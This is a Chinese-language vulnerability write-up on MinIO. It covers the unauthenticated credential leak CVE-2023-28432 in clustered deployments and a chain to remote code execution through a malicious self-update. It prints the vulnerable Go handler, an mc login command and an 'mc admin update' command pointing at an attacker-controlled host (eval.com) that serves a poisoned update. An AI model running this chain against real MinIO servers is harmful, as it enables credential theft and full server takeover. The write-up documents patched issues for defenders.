MinIO从信息泄漏到RCE复现

信息泄露(CVE-2023-28432)

根据公告可得,漏洞利用的前提是使用分布式部署。

官方在 https://github.com/minio/minio/pull/8550 中引入bootstrap API 并于 RELEASE.2019-12-17T23-16-33Z发布,用于验证服务器配置。

漏洞相关代码如下:

// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
  ctx := newContext(r, w, "VerifyHandler")
  cfg := getServerSystemCfg()
  logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}

// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
  envs := env.List("MINIO_")
  envValues := make(map[string]string, len(envs))
  for _, envK := range envs {
    // skip certain environment variables as part
    // of the whitelist and could be configured
    // differently on each nodes, update skipEnvs()
    // map if there are such environment values
    if _, ok := skipEnvs[envK]; ok {
      continue
    }
    envValues[envK] = env.Get(envK, "")
  }
  return ServerSystemConfig{
    MinioEndpoints: globalEndpoints,
    MinioEnv:       envValues,
  }
}

这里可以看到缺少鉴权,所以直接未授权访问,但是这个路由只有在集群部署的模式下才可访问,所以在集群部署的MinIO环境下攻击者构造恶意的请求,会打印出环境变量信息,当中正好包含了管理员的账号密码。

那么为什么环境变量中会包含账号密码信息呢?因为根据官方的启动说明,在MinIO在启动时会从环境变量中读取用户预设的管理员账号和密码,如果省略则默认账号密码为minioadmin/minioadmin。

image-20230324143048276

那么还有有一种情况,如果开启动Minio时没有设置MINIO_ROOT_USERMINIO_ROOT_PASSWORD,那么Minio就会启动默认的账号密码minioadmin,这时候通过信息泄露会发现读取不到管理员的账号密码,可以判断存在默认口令。

image-20230324150527592

从信息泄露到RCE

通过第一步获取到管理员账号密码之后,可以通过官方自带的mc(MinIO客户端)工具进行服务器管理,首先通过mc连接远程的MinIO服务器:

mc alias set myminio http://192.168.31.8:9000 minioadmin miniopassword

MinIO提供了一个非常方便的功能,可以通过mc(MinIO客户端)远程升级MinIO服务器,关键在于升级地址是可以通过预设自定义的,在官方的说明文档中并没有详细说明,企业如果是内网环境可以指定自己的更新地址以便于升级。

1679595864122.png

经过研究发现,当执行升级命令后

mc admin update myminio -y

默认会从官方服务器获取最新版本,相关代码中的定义如下:

// minio/cmd/update.go
const (
    minioReleaseTagTimeLayout = "2006-01-02T15-04-05Z"
    minioOSARCH               = runtime.GOOS + "-" + runtime.GOARCH
    minioReleaseURL           = "https://dl.min.io/server/minio/release/" + minioOSARCH + SlashSeparator

    envMinisignPubKey = "MINIO_UPDATE_MINISIGN_PUBKEY"
    updateTimeout     = 10 * time.Second
)

通过跟进代码的相关逻辑可以发现,可以直接拉取一个二进制文件,然后实现自我更新,相关简化流程如下:

验证管理员权限→获取最新版本→获取最新版本的sha256sum信息→下载并验证sha256sum→验证无误后替换自身并重启

虽然sha256我们不可控,但是用于验证的sha256sum文件是我们可控的。

https://github.com/minio/minio/pull/16857/commits/4d4cc50dd6656512dee483492aa0a241babd35c4

继续跟进相关代码可以发现,envMinisignPubKe默认为空,导致签名校验失效,所以我们可以构造恶意升级包,最终形成RCE。

1679596420777.png

mc admin update myminio -y https://eval.com/minio.RELEASE.2023-03-22T06-36-24Z.sha256sum

其中https://eval.com/minio.RELEASE.2023-03-22T06-36-24Z.sha256sum就是更新地址,整个利用过程类似于供应链投毒。

1679640203547.png

提示正常更新,并且执行了我们提供的恶意程序,但是替换我们的恶意程序之后,原本的MinIO服务会中断,所以想要无损利用需要考虑基于源程序进行魔改,并且这个漏洞的利用与部署方式无关,只要获取到了管理员账号密码就能实现恶意升级。

截止到发文前,官方对以上两个漏洞均已进行修复,建议用户更新到最新版本。

参考资料

https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

https://github.com/minio/minio

https://min.io/docs/minio/linux/reference/minio-mc-admin/mc-admin-update.html